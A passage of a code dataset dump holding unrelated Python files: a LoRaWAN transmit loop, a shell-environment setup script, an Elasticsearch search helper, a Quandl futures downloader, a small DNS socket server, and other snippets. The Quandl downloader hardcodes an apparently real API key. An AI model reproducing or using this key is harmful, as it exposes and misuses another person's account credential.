time.sleep(5)\n continue\n # print device detailed status\n print(device)\n log.debug(\"sleeping a bit before continuing ...\")\n time.sleep(5)\n\n _startTime = datetime.now()\n\n\n #\n # TX some data\n # TODO: make use of optional port :)\n log.info(\"Sending some data ...\")\n\n txData = \"hello from RN2483!\"\n print(\"MyData = %s\" % str(txData) )\n\n #\n # TX messages with or without acknowledge\n # Note: if 1% duty-cycle is disabled, best is to ask for acknowledge\n _ask4cnf = True\n if( hasattr(settings, 'ask_cnf') is True ):\n _ask4cnf=settings.ask_cnf\n if( device.transmitData( str(txData), ack=_ask4cnf ) is not True ):\n log.debug(\"tx command not accepted by LoRaWAN stack :(\")\n log.debug(\"... sleeping a bit before retrying ...\")\n time.sleep(7)\n continue\n\n\n _txAnswer = None\n # LoRaWAN Class A | wait for some data in return from previous transmit\n log.info(\"Waiting for some data ...\")\n while( (datetime.now()-_startTime).total_seconds() < settings.loraTimer and not _shutdownEvent.is_set() ):\n print(\"_*_\", end='', flush=True)\n rxData = device.receiveData( )\n if( rxData is None ): continue\n if( not rxData.endswith('\\r\\n') ):\n log.warning(\"Partial data received !!\\n\\t'%s'\" % str(rxData) )\n time.sleep(1)\n continue\n rxData = rxData.rstrip('\\r\\n')\n if( _txAnswer is not None ):\n # this RX1 or RX2 or class C device ?\n log.info(\"Received data = '%s'\" % str(rxData))\n time.sleep(1)\n continue\n # TX answer received\n log.info(\"TX answer received: '%s'\" % rxData)\n if( rxData == 'mac_tx_ok' ):\n _txAnswer = rxData\n continue\n elif( rxData.startswith('mac_rx') ):\n # RX1 or RX2 slots received data\n\n _rxFields = rxData.split()\n print(\"\\n\\tPort[%d] answer received: '%s'\" % (int(_rxFields[1]),str(_rxFields[2:])) ) \n\n # TODO: process incomming data\n\n print(\"\\tTODO: process incoming data!\")\n _txAnswer = rxData\n time.sleep(1)\n continue\n elif( rxData == 'mac_err' ):\n # failure to send\n log.warning(\"'mac_err' ... failed to transmit data ... mac status = 0x%08X ... try to resend :|\" % (device.macStatus))\n time.sleep(4)\n break\n elif( rxData.startswith('invalid_data_len') ):\n # payload too large\n log.warning(\"oversized payload ... (ADR mode??) ... try to resend :|\")\n time.sleep(4)\n break\n elif( rxData.startswith('invalid') ):\n # [aug.19] let's consider this as a warning ...\n log.warning(\"there's something wrong in the TX process ... ... mac status = 0x%08X ... try to resend\" % (device.macStatus))\n time.sleep(4)\n else:\n log.warning(\"unknwown TX answer '%s' ?!?! ... continuing\" % rxData)\n time.sleep(1) \n\n except Exception as ex:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n log.error(\"exception '%s'(line %d): \" % (exc_type,exc_tb.tb_lineno) + str(ex))\n time.sleep(3)\n continue\n\n # destroy instance\n log.info(\"ending LoRaWAN ops ...\");\n del(device)\n\n # GPIO cleanup\n GPIO.cleanup()\n\n\n# Execution or import\nif __name__ == \"__main__\":\n\n # Start executing\n main()\n\n# The END - Jim Morrison 1943 - 1971\n#sys.exit(0)\n\n","sub_path":"tutorial-LoRaWAN/RN2483-powermeter/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"75868722","text":"#!/bin/bash\n# vim: ft=python et ts=8 sw=4 sts=4\n\"\"\":\"\nexport PYTHONNOUSERSITE=1\nexport PYTHONDONTWRITEBYTECODE=1\nexec /lab/gw_test_framework/app/venv/python3.5-rhes6.x86_64-epglib2/bin/python3 $0 ${1+\"$@\"}\n\"\"\"\nimport sys\nimport os\nimport argparse\nimport logging\nimport subprocess\n\n__doc__ = \"\"\"\nSetup development environment for pc/tools/epglib in git repo\n\nUsage:\n eval `./setup_workspace.py`\n\n\"\"\"\n\nSHELL = os.path.basename(os.environ[\"SHELL\"])\n# SHELL = \"tcsh\"\n\n\nclass Path:\n\n \"\"\"A PATH-like environment variable.\n\n Args:\n name (str): name of the env var.\n\n \"\"\"\n\n def __init__(self, name):\n self.name = name\n self.old_value = os.environ.get(name, \"\")\n self.path_list = self.old_value.split(\":\")\n\n def clear(self):\n self.path_list = []\n\n def prepend(self, *values):\n \"\"\"Prepend with values.\"\"\"\n self.append(*values, prepend=True)\n\n def append(self, *values, prepend=False):\n \"\"\"Append with values.\"\"\"\n for d in values:\n if d in self.path_list:\n logging.debug(\"Removing %s from %s\", d, self)\n self.path_list.remove(d)\n logging.debug(\"%s %s with %r\", \"Prepend\" if prepend else \"Append\", self, d)\n if prepend:\n self.path_list.insert(0, d)\n else:\n self.path_list.append(d)\n\n def _remove_duplicates(self):\n new_list = []\n for dir_ in self.path_list:\n if dir_ not in new_list:\n new_list.append(dir_)\n self.path_list = new_list\n\n @property\n def value(self):\n self._remove_duplicates()\n return \":\".join(self.path_list)\n\n def __str__(self):\n return \"Path(name='{}')\".format(self.name)\n\n def __repr__(self):\n string = [\"Path(name='{}'\".format(self.name)]\n for d in self.path_list:\n string.append(\"\\t\" + d)\n return \"\\n\".join(string)\n\n\ndef main():\n if \"WS_ROOT\" in os.environ:\n if \"EPGLIB_WS\" in os.environ:\n info = \"Use 'restore_environment' to exit current workspace\"\n else:\n info = \"Use 'exit' to exit current workspace\"\n logging.error(\"WS_ROOT already set. %s\", info)\n sys.exit(1)\n\n path = Path(\"PATH\")\n\n # EQDB\n set_env(\"EQDBPATH\", \"/lab/gw_test_framework/balthazar/eqdb_copy\")\n\n ws_root = _run_cmd([\"git\", \"rev-parse\", \"--show-toplevel\"])\n set_env(\"WS_ROOT\", ws_root)\n set_env(\"EPGLIB_WS\", ws_root)\n\n # Python\n #arch = _get_arch()\n python2 = os.path.join(ws_root, \"venv/python2.7/bin\")\n python3 = os.path.join(ws_root, \"venv/python3.5/bin\")\n set_env(\"PYTHON2_PATH\", python2)\n set_env(\"PYTHON3_PATH\", python3)\n path.prepend(python2, python3)\n set_env(\"PYTHONDONTWRITEBYTECODE\", \"1\")\n\n path.prepend(os.path.join(ws_root, \"tools\"))\n\n pythonpath = Path(\"PYTHONPATH\")\n pythonpath.clear()\n pythonpath.append(os.path.join(ws_root, \"src\"))\n pythonpath.append(os.path.join(ws_root, \"tools\"))\n\n # Pylint persistent data\n set_env(\"PYLINTHOME\", os.path.join(ws_root, \"_dev\"))\n\n # Update PATH- variables\n set_env(\"PATH\", path.value)\n set_env(\"_OLD_PATH\", path.old_value)\n set_env(\"PYTHONPATH\", pythonpath.value)\n set_env(\"_OLD_PYTHONPATH\", pythonpath.old_value)\n\n rehash()\n\n restore_env(\n unset_env=(\"WS_ROOT\", \"EPGLIB_WS\", \"EQDBPATH\", \"PYTHON2_PATH\", \"PYTHON3_PATH\",\n \"PYTHONDONTWRITEBYTECODE\", \"PYLINTHOME\"),\n restore_env=(\"PATH\", \"PYTHONPATH\"))\n\n\ndef _run_cmd(cmd_list):\n \"\"\"Run command and return output as unicode. Raises exception on non-zero exitstatus.\"\"\"\n proc = subprocess.run(cmd_list,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n check=True,\n universal_newlines=True)\n logging.debug(\"Command: %s, stdout: %s\", cmd_list, proc.stdout)\n return proc.stdout.rstrip()\n\n\ndef _get_arch():\n \"\"\"Return string with os/arch.\"\"\"\n out = _run_cmd([\"lsb_release\", \"--id\", \"--short\"]) # RedHatEnterpriseServer\n tmplist = list(out.swapcase())\n vendor = \"\".join([c for c in tmplist if c.islower()]) # rhes\n\n out = _run_cmd([\"lsb_release\", \"--release\", \"--short\"]) # X.Y\n major_release = out.split(\".\")[0]\n\n arch = _run_cmd([\"arch\"]) # x86_64\n\n return \"{}{}.{}\".format(vendor, major_release, arch)\n\n\ndef unset_env(*args):\n \"\"\"Print shell commands to remove specified environment variables.\"\"\"\n for var_name in args:\n format_str = {\n 'tcsh': \"unsetenv {name};\",\n 'bash': \"unset {name};\",\n }\n print(format_str[SHELL].format(name=var_name))\n\n\ndef set_env(var_name, var_value):\n \"\"\"Print shell commands to set an environment variable.\"\"\"\n format_str = {\n 'tcsh': \"setenv {name} {value};\",\n 'bash': \"export {name}={value};\",\n }\n print(format_str[SHELL].format(name=var_name, value=var_value.strip()))\n\n\ndef rehash():\n if SHELL == \"tcsh\":\n print(\"rehash;\")\n elif SHELL == \"bash\":\n print(\"hash -r;\")\n\n\ndef restore_env(unset_env=None, restore_env=None):\n \"\"\"Set alias for the shell in use, to restore the environment.\n\n Args:\n unset_env (iterable): Environment variables to unset.\n restore_env (iterable): Environment variables that should be\n restored to their _OLD_ values.\n\n \"\"\"\n if SHELL == \"tcsh\":\n string = [\"alias restore_environment '\"]\n for var in unset_env:\n string.append(\"unsetenv {};\".format(var))\n\n for var in restore_env:\n string.append(\"test $?_OLD_{0} != 0 && setenv {0} \\\"$_OLD_{0}\\\" \"\n \"&& unsetenv _OLD_{0};\".format(var))\n string.append(\" unalias restore_environment'\")\n elif SHELL == \"bash\":\n string = [\"alias restore_environment='\"]\n for var in unset_env:\n string.append(\"unset {};\".format(var))\n\n for var in restore_env:\n string.append(\"test ${{_OLD_{0}:-0}} != 0 && export {0}=\\\"$_OLD_{0}\\\" \"\n \"&& unset _OLD_{0};\".format(var))\n string.append(\" unalias restore_environment'\")\n print(\"\".join(string))\n\n\ndef _init():\n \"\"\" Initialize program, get cli arguments. \"\"\"\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"shell\", nargs=\"?\", choices=[\"tcsh\", \"bash\"], help=\"Specify login shell\")\n parser.add_argument(\"-d\", \"--debug\", action=\"store_true\", help=argparse.SUPPRESS)\n\n args = parser.parse_args()\n\n log_format = \"%(asctime)s %(levelname)s: %(message)s\"\n log_level = logging.INFO\n\n if args.debug:\n log_level = logging.DEBUG\n log_format = (\"%(asctime)s %(levelname)-8s %(pathname)s:%(lineno)s \"\n \"[%(funcName)s]: %(message)s\")\n\n logging.basicConfig(level=log_level, format=log_format, datefmt=\"%Y-%m-%d %H:%M:%S\")\n\n if args.shell:\n global SHELL\n SHELL = args.shell\n\n return args\n\n\nif __name__ == \"__main__\":\n args = _init()\n main()\n","sub_path":"tools/setup_environment.py","file_name":"setup_environment.py","file_ext":"py","file_size_in_byte":7031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"274093102","text":"import math\n\n# from ..settings import log\n\n\nSEARCH_FIELDS = [\n 'description', 'district_name', 'street_name', 'metro_station_name'\n]\nTITLE_TEMPLATE = {\n 'district_name': 'р-н. {}',\n 'street_name': '{},',\n 'rooms_count': '{} ком.',\n 'city_name': 'г. {}',\n 'metro_station_name': '(М) ст. {}',\n}\n\n\ndef get_title(item):\n \"\"\"Create short title for realty item.\"\"\"\n\n title_buffer = []\n for field in TITLE_TEMPLATE:\n if item.get(field):\n title_buffer.append(TITLE_TEMPLATE[field].format(item[field]))\n return ' '.join(title_buffer)\n\n\ndef compact_item(item):\n result = item['_source']\n result['title'] = get_title(item['_source'])\n return result\n\n\nasync def search_realty(\n app, description=None, districts=None, rooms_count=None,\n price_min=None, price_max=None, price_curr=3, page=0, sort=None,\n **kwargs):\n \"\"\"Search realty in ES with filters.\n\n Args:\n description: str - searchable text\n districts: [1, 2]\n rooms_count: [1, 2]\n price_min: int\n price_max: int\n price_curr: int : 1 - USD, 2 - EUR, 3 - UAH\n page: int\n sort: pr_a, pr_d, pd_a, pd_d\n\n Returns:\n result_list:list:\n count:int:\n pages:int:\n \"\"\"\n offset = 10\n from_ = page * offset\n\n query = {\n 'bool': {\n 'should': [],\n 'filter': [],\n 'must': [{'match': {'deleted_by.keyword': ''}}],\n },\n }\n if description:\n for key in SEARCH_FIELDS:\n query['bool']['should'].append({'match': {key: description}})\n\n if districts:\n d_dict = app.cfg['districts']\n name_list = [d_dict[i].lower() for i in districts if i in d_dict]\n # log.debug(f'district_names: {name_list}')\n query['bool']['filter'].append({\"terms\": {\"district_name\": name_list}})\n if rooms_count:\n query['bool']['filter'].append({\"terms\": {\"rooms_count\": rooms_count}})\n if price_min or price_max:\n prices = {} # {'gte': price_min, 'lte': price_max}\n if price_min:\n prices['gte'] = price_min\n if price_max:\n prices['lte'] = price_max\n query['bool']['filter'].append(\n {\"range\": {f\"priceArr.{price_curr}\": prices}})\n sort_query = []\n if sort:\n abbreviations = {\n 'pd': 'publishing_date',\n 'pr': f'priceArr.{price_curr}',\n 'sc': '_score',\n 'a': 'asc',\n 'd': 'desc',\n }\n field, order = sort.split('_')\n sort_query.append(\n {abbreviations[field]: {\"order\": abbreviations[order]}})\n res = await app.es.search(\n index=app.cfg['es']['indexes']['realty'],\n body={\n \"from\": from_, \"size\": offset,\n 'query': query,\n \"sort\": sort_query\n }\n )\n\n result_list = [compact_item(item) for item in res['hits']['hits']]\n count = res['hits']['total']['value']\n pages = math.ceil(count / offset) # 4.6 -> 5\n return result_list, count, pages\n","sub_path":"aiohttp/aiohttp_handler/db/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"370767820","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 10 10:06:45 2017\n\n@author: Mike\n\"\"\"\n\nimport quandl\nimport os\nimport pandas as pd\nfrom datetime import datetime\n\nmyPath = 'C:\\\\Users\\\\Mike\\\\Projects\\\\Python\\\\Futures\\\\'\nindivPath = myPath + 'Data\\\\Individual\\\\'\ncontPath = myPath + 'Data\\\\Continuous\\\\'\n\nquandl.ApiConfig.api_key = 'VxgmgEY3TRrjNT7rs_58'\nlookup_df = pd.read_csv('https://s3.amazonaws.com/quandl-static-content/Ticker+CSV%27s/Futures/continuous.csv')\nmy_symbols = pd.read_csv(myPath + 'instruments.csv')\n\n \n \ndef download_individual_contracts_from_quandl(symbolList, start_year=2010, end_year=2017):\n \"\"\"Downloads all futures contracts for a specified symbol\n between a start_year and an end_year.\"\"\"\n codes = []\n for index, rows in symbolList.iterrows():\n if not os.path.exists(indivPath + rows['Symbol']):\n os.makedirs(indivPath + rows['Symbol'])\n for y in range(start_year, end_year + 1):\n for m in rows['Months']:\n codes.append(\"%s/%s%s%s\" % (rows['Exchange'], rows['Symbol'], m, y))\n for c in codes:\n #exchange = c.split('/')[0]\n contract = c.split('/')[1]\n symbol = contract[:len(contract)-5]\n #contract_month = contract[2]\n #contract_year = contract[3:7]\n \n try:\n # Download the data from Quandl\n data = quandl.get(c)\n \n # Store the data to disk\n data.to_csv(indivPath + '%s\\\\%s.csv' % (symbol, contract))\n print('File Saved: %s.csv' % (contract))\n \n except:\n print('ERROR: File not saved: %s' % (c))\n \n \ndef download_continuous_contracts_from_quandl(symbolList):\n codes_df = pd.DataFrame(columns = ['Product', 'Code', 'Start Date', 'End Date'])\n for index, rows in symbolList.iterrows():\n ticker = rows['Symbol']\n exchange = rows['Exchange']\n depth = rows['Depth']\n startDate = datetime.strptime(rows['Start Date'], '%m/%d/%Y').strftime('%Y-%m-%d')\n endDate = datetime.strptime(rows['End Date'], '%m/%d/%Y').strftime('%Y-%m-%d')\n if not os.path.exists(contPath + rows['Symbol']):\n os.makedirs(contPath + rows['Symbol'])\n for i in range(1, depth + 1):\n code = lookup_df['Quandl Code'].loc[(lookup_df['Ticker'] == ticker) & (lookup_df['Exchange'] == exchange)] + str(i)\n codes_df.loc[len(codes_df)] = [ticker, code.values[0], startDate, endDate]\n for index, rows in codes_df.iterrows():\n \n try:\n data = quandl.get(rows['Code'], start_date=rows['Start Date'],end_date=rows['End Date'])\n contract = rows['Code'].split('/')[1]\n data.to_csv(contPath + '%s\\\\%s.csv' % (rows['Product'], contract))\n print('File saved: %s.csv' % (contract))\n \n except:\n print('ERROR: File not saved: %s' % (rows['Code']))\n\n\nif __name__ == '__main__':\n start_year = 2010\n end_year = 2018\n\n # Download the contracts into the directory\n download_individual_contracts_from_quandl(my_symbols, start_year, end_year)\n download_continuous_contracts_from_quandl(my_symbols)\n","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":3180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"501188836","text":"# Research\nimport networkx as nx\nimport numpy as np\n\nG=nx.Graph()\ntotalvertex = 13\ntotaledges = 15\nCounter=1\nprev=np.zeros(totalvertex+1)\nlow=np.zeros(totaledges)\n\ndef min(value1,value2):\n\n if (value1 different industries\n # normalize = True yields percentages\n industry_distribution = df_forThisLang['Industry'].value_counts(sort=False, normalize=True, dropna=False)\n\n # Name of current language (e.g. \"Java\"):\n print(df_lang.loc[index, 'shortLangName'])\n\n # industry shares of current language:\n print(industry_distribution) # issue: rows with \"na\" are removed from value_counts()\n\n for industry in industry_distribution.iteritems():\n # print(industry)\n industryName = industry[0] # keys\n industryShare_forLang = str(industry[1]) # values\n\n # *******\n nameOfColumnInDatabaseTable = str(dictMappingDFandDBColumns[industryName])\n # print(\"nameOfColumnInDatabaseTable: \", nameOfColumnInDatabaseTable)\n df_lang.loc[index, nameOfColumnInDatabaseTable] = industryShare_forLang\n # *******\n\n # print(type(industry_distribution.values)) # numpy.ndarray\n\n # save in dataframe:\n # this won't work, because the above value_counts includes \"nan\" values\n # df_lang.loc[index,'Banking_Share':'Wholesale_Share'] = list(industry_shares_forLang)\n\n # not needed now: Relative share - BUT WORKS FINE!\n # print(industry_distribution / avIndustryDistribution)\n\n print('\\n')\n\n # make numeric\n # change column types again to save in database:\n df_lang.loc[:, 'Banking_Share':'Wholesale_Share'] = df_lang.loc[:, 'Banking_Share':'Wholesale_Share'].apply(pd.to_numeric)\n else:\n print('looks like keys and values do not have the same length - check canton matching')\n\n return df_lang\n","sub_path":"C3_calcIndustryShares_perLang.py","file_name":"C3_calcIndustryShares_perLang.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"173592884","text":"import socket as mysoc\nimport threading\nimport sys\n\n# TOP-LEVEL DNS SERVER\ntopLevelTable = {}\n\n# Initialize the topLevelTable table by reading query\n# lines from PROJI-DNSTS.txt\ndef initTable():\n file = open(\"PROJ2-DNSTS1.txt\", \"r\")\n for line in file:\n split = line.split()\n topLevelTable[split[0].lower()] = [split[1], split[2]]\n file.close()\n\n# Top-Level Server Procedure\ndef server():\n initTable()\n try:\n ss = mysoc.socket(mysoc.AF_INET, mysoc.SOCK_STREAM)\n print(\"[S]: Server socket created\")\n except mysoc.error as err:\n print(err + \"\\n socket open error \")\n\n # Bind and Listen\n server_binding = (\"\", int(sys.argv[1]))\n ss.bind(server_binding)\n ss.listen(1)\n host = mysoc.gethostname()\n\n print(\"[S]: Server host name is: \" + host)\n localhost_ip = mysoc.gethostbyname(host)\n print(\"[S]: Server IP address is \" + localhost_ip)\n\n # Accept Connections\n csockid, addr = ss.accept()\n print(\"[S]: Got a connection request from a client at\" + str(addr))\n\n while True:\n # Message recieved from Client\n query = csockid.recv(200).decode(\"utf-8\").lower()\n if query == \"/end\" or query == \"\":\n break\n print(\"[S]: Query from LS: \" + query)\n try:\n ip, types = topLevelTable[query]\n csockid.send((query + \" \" + ip + \" \" + types).encode(\"utf-8\"))\n print (\"[S]: Sent to LS: \" + str(query + \" \" + ip + \" \" + types))\n except:\n #csockid.send(\"Error:HOST NOT FOUND\".encode(\"utf-8\"))\n #do nothing hahaha\n a = 1\n \n\n # Close the server socket\n ss.close()\n exit()\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Usage:\\tpython ts1.py \")\n print(\"Ex:\\tpython ts1.py 8080\")\n else:\n t1 = threading.Thread(name=\"server\", target=server)\n t1.start()","sub_path":"ts1.py","file_name":"ts1.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"542880863","text":"import random\nclass songlist(object):\n def __init__(self):\n self.song=[]\n def songlistreset(self): #liste sifirlama\n self.song.clear()\n\n def songshow(self): #sarki listesini goruntule\n print(self.song)\n\n def songclear(self,songs): #bir sarki silme\n self.songs=songs\n if self.songs in self.song:\n self.song.remove(self.songs)\n else:\n print(\"silmek istediginiz {} sarki listede yoktur \".format(self.songs))\n\n\n def songadd(self,songs): #bir sarki ekleme\n self.songs=songs\n if self.songs in self.song:\n print(\"Aradiginiz {} sarki zaten listede vardir:\".format(self.songs))\n else:\n self.song.append(self.songs)\n\n def songsearch(self,songs): #sarki arama\n self.songs=songs\n if self.songs in self.song:\n print(\"Aradiginiz {} sarki listede vardir:\".format(self.songs))\n else:\n print(\"aradiginiz {} sarki listede yoktur \".format(self.songs))\n\n def nextsongplay(self,songs): # sonraki parcayi cal\n self.songs=songs\n print(\"Su anda {} sarkiyi dinlemeye basladiniz: \".format(self.songs))\n\n\n def lastsongplay(self,songs): # onceki parcayi cal\n self.songs=songs\n print(\" Su anda {} sarkiyi dinlemeye basladiniz: \".format(self.songs))\n\n def mixsongplay(self): #karisik cal\n sayi=len(self.song)\n if sayi==0:\n print(\"Suan listede hic sarki bulunmamaktadir\")\n else:\n return print(\"Su anda {} sarkiyi dinliyorsunuz\".format(random.choice(self.song)))\n\n\ndef sorgu():\n sorgu=input(\"\"\" sarki listesini sifirlamak icin: 1\n Sarki listesini goruntulemek icin: 2\n Herhangi bir sarki silmek icin: 3\n Sarki eklemek icin: 4\n Sarki aramak acin: 5\n Bir sonraki sarkiyi calmak icin: 6\n Bir onceki sarkiyi calmak icin: 7\n Rastgele bir sarki calmak icin: 8\n Cikmak icin: 9\n basiniz\"\"\")\n return sorgu\n\nsonglist1=songlist()\nwhile True:\n sorguu=sorgu()\n if sorguu==\"1\":\n songlist1.songlistreset()\n elif sorguu==\"2\":\n songlist1.songshow()\n elif sorguu==\"3\":\n songs = input(\"silmek istediginiz sarkiyi giriniz: \")\n songlist1.songclear(songs)\n elif sorguu==\"4\":\n songs=input(\"Eklemek istediginiz sarkinin ismini giriniz\")\n songlist1.songadd(songs)\n elif sorguu==\"5\":\n songs=input(\"HAngi sarkiyi aramak istediginizi seciniz\")\n songlist1.songsearch(songs)\n\n elif sorguu==\"6\":\n songlist1.songshow()\n choose = input(\"Listedeki suan hangi sarkiyi dinlediginizi seciniz\")\n try:\n songs = songlist1.song[songlist1.song.index(choose) + 1]\n except IndexError:\n songs=songlist1.song[0]\n songlist1.nextsongplay(songs)\n elif sorguu==\"7\":\n songlist1.songshow()\n choose = input(\"Listedeki suan hangi sarkiyi dinlediginizi seciniz\")\n try:\n songs = songlist1.song[songlist1.song.index(choose) -1 ]\n except IndexError:\n songs=songlist1.song[-1]\n songlist1.nextsongplay(songs)\n elif sorguu==\"8\":\n songlist1.mixsongplay()\n elif sorguu==\"9\":\n quit()\n","sub_path":"odev3.py","file_name":"odev3.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"27145951","text":"\"\"\"\nRandom Topology Graph\n=====================\n\n\"\"\"\n\nimport numpy as np\n\nfrom ....molecule_records import MoleculeRecord\nfrom ...records import MutationRecord\nfrom .mutator import MoleculeMutator\n\n\nclass RandomTopologyGraph(MoleculeMutator):\n \"\"\"\n Changes topology graphs at random.\n\n Examples\n --------\n *Constructed Molecule Mutation*\n\n .. testcode:: constructed-molecule-mutation\n\n import stk\n\n # Create a molecule which is to be mutated.\n bb1 = stk.BuildingBlock('NCCN', [stk.PrimaryAminoFactory()])\n bb2 = stk.BuildingBlock(\n smiles='O=CCC(C=O)CC=O',\n functional_groups=[stk.AldehydeFactory()],\n )\n cage = stk.MoleculeRecord(\n topology_graph=stk.cage.FourPlusSix((bb1, bb2)),\n )\n\n # Create functions which replace the topology graph.\n replacement_funcs = (\n lambda graph:\n stk.cage.TwoPlusThree(graph.get_building_blocks()),\n lambda graph:\n stk.cage.EightPlusTwelve(graph.get_building_blocks()),\n lambda graph:\n stk.cage.TwentyPlusThirty(graph.get_building_blocks()),\n )\n\n # Create the mutator.\n random_topology = stk.RandomTopologyGraph(replacement_funcs)\n\n # Mutate a molecule.\n mutation_record1 = random_topology.mutate(cage)\n\n # Mutate the molecule a second time.\n mutation_record2 = random_topology.mutate(cage)\n\n \"\"\"\n\n def __init__(\n self,\n replacement_funcs,\n name=\"RandomTopologyGraph\",\n random_seed=None,\n ):\n \"\"\"\n Initialize a :class:`.RandomTopology` instance.\n\n Parameters\n ----------\n replacement_funcs : :class:`tuple` of :class:`callable`\n Each :class:`callable` takes a single parameter, a\n :class:`.TopologyGraph`, and returns the\n :class:`.TopologyGraph` which should replace it.\n\n name : :class:`str`, optional\n A name to help identify the mutator instance.\n\n random_seed : :class:`bool`, optional\n The random seed to use.\n\n \"\"\"\n\n self._replacement_funcs = replacement_funcs\n self._name = name\n self._generator = np.random.RandomState(random_seed)\n\n def mutate(self, record):\n replacement_func = self._generator.choice(\n a=self._replacement_funcs,\n )\n replacement = replacement_func(record.get_topology_graph())\n return MutationRecord(\n molecule_record=MoleculeRecord(replacement),\n mutator_name=self._name,\n )\n","sub_path":"src/stk/ea/mutation/mutators/molecule/random_topology_graph.py","file_name":"random_topology_graph.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"119266500","text":"'''\nAuthor: Puffrora\nDate: 2022-02-18 11:19:17\nLastModifiedBy: Puffrora\nLastEditTime: 2022-02-18 16:39:36\n'''\n\nfrom typing import List\n\nclass Solution:\n def maxLength(self, arr: List[str]) -> int:\n\n def bin_map(word):\n res = 0\n for c in word:\n res |= 1 << (ord(c.lower()) - ord('a'))\n return res\n \n def count_bin(word_bag):\n cnt = 0\n while word_bag:\n if word_bag & 1 == 1:\n cnt += 1\n word_bag >>= 1\n return cnt\n\n filtered_arr = []\n for w in arr:\n # if there is duplication in w, skip it\n if len(w) == len(set(w)):\n filtered_arr.append(bin_map(w))\n \n if not filtered_arr:\n return 0\n\n res = 0\n def dfs(cur_index, cur_word_bag):\n nonlocal res\n if cur_index == len(filtered_arr):\n res = max(res, count_bin(cur_word_bag))\n return\n \n # no overlapping\n if filtered_arr[cur_index] & cur_word_bag == 0:\n dfs(cur_index+1, filtered_arr[cur_index] | cur_word_bag)\n \n dfs(cur_index+1, cur_word_bag)\n \n dfs(0, 0)\n \n return res","sub_path":"Leetcode/leetcode1239 串联字符串的最大长度.py","file_name":"leetcode1239 串联字符串的最大长度.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"40495058","text":"from enum import Enum, auto\n\nfrom tcod.libtcodpy import namegen_get_sets\n\n\nclass Policies(Enum):\n INCREASE_WAGES = auto()\n BAN_MACHINES = auto()\n RENT_DECREASE = auto()\n TITHE_DECREASE = auto()\n\nclass Policy():\n def __init__(self, type, cost, name, desc) -> None:\n self.type = type\n self.cost = cost\n self.name = name\n self.description = desc\n\npolicy_templates = {}\npolicy_templates[Policies.INCREASE_WAGES] = Policy(Policies.INCREASE_WAGES, 100, \"Increase Wages\", \"Increase Wages\\nCost: 100 Support\")\npolicy_templates[Policies.BAN_MACHINES] = Policy(Policies.BAN_MACHINES, 100,\"Ban Threshing Machines\", \"Ban Threshing Machines\\nCost: 100 Support\")\npolicy_templates[Policies.RENT_DECREASE] = Policy(Policies.RENT_DECREASE, 100,\"Decrease Rent\", \"Decrease Rent\\nCost: 100 Support\")\npolicy_templates[Policies.TITHE_DECREASE] = Policy(Policies.TITHE_DECREASE, 100, \"Decrease Tithes\", \"Decrease Tithes\\nCost: 100 Support\")\n","sub_path":"verbs/policies.py","file_name":"policies.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"467652691","text":"\n\n#calss header\nclass _IMPERTURBABLE():\n\tdef __init__(self,): \n\t\tself.name = \"IMPERTURBABLE\"\n\t\tself.definitions = [u'always staying calm and controlled, even in difficult situations that would cause other people to worry']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_imperturbable.py","file_name":"_imperturbable.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"285675301","text":"from netCDF4 import Dataset\n\n\nif __name__ == '__main__':\n useful_keys = {'RDX', 'SHDMAX', 'XLONG_U', 'U10', 'SWDOWN', 'XICEM', 'HFX', 'HGT', 'E', 'LH', 'TSK_FORCE', 'XTIME',\n 'RDNW', 'GRAUPELNC', 'P', 'SFROFF', 'SHDMIN', 'ITIMESTEP', 'UDROFF', 'MAX_MSTFY', 'LANDMASK', 'SH2O',\n 'COSZEN', 'LU_INDEX', 'RESM', 'HFX_FORCE_TEND', 'UST', 'QCLOUD', 'SMCREL', 'U', 'VEGFRA', 'T2',\n 'P_TOP', 'Q2', 'ACLHF', 'MF_VX_INV', 'SEAICE', 'QFX', 'LH_FORCE', 'SNOWH', 'P_HYD', 'ACHFX',\n 'HFX_FORCE', 'MU', 'W', 'SMOIS', 'SNOW', 'SNOWC', 'TSK', 'HAILNC', 'NOAHRES', 'RDY', 'MAPFAC_UY',\n 'ZNU', 'PH', 'TMN', 'SNOALB', 'SST', 'GRDFLX', 'QRAIN', 'CFN1', 'PB', 'DNW', 'ISLTYP', 'PBLH',\n 'QSNOW', 'LAI', 'OLR', 'ALBEDO', 'XLAT_V', 'FNP', 